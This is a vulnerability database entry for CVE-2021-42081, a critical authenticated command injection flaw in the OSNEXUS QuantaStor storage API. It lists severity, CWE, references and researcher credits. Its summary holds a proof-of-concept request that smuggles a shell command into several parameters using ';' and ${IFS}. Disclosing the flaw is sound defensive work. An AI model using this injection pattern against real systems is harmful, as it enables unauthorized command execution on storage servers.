CVE-2021-42081 (GCVE-0-2021-42081)

Vulnerability from cvelistv5 – Published: 2023-07-10 06:29 – Updated: 2025-09-22 06:40
VLAI?
Title
Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355
Summary
An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al
Severity ?
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE
  • CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
https://www.wbsec.nl/osnexus third-party-advisorytechnical-descriptionexploit
https://csirt.divd.nl/DIVD-2021-00020/ third-party-advisory
https://www.osnexus.com/products/software-defined… product
https://csirt.divd.nl/CVE-2021-42081 third-party-advisorytechnical-descriptionexploit
Impacted products
Vendor Product Version
OSNEXUS QuantaStor Affected: 0 , < 6.0.0.355 (semver)
Create a notification for this product.
Credits
Wietse Boonstra (DIVD) Frank Breedijk (DIVD) Victor Pasman (DIVD) Victor Gevers (DIVD) Max van der Horst (DIVD) Célistine Oosting (DIVD)
Show details on NVD website
To clipboard 

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Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.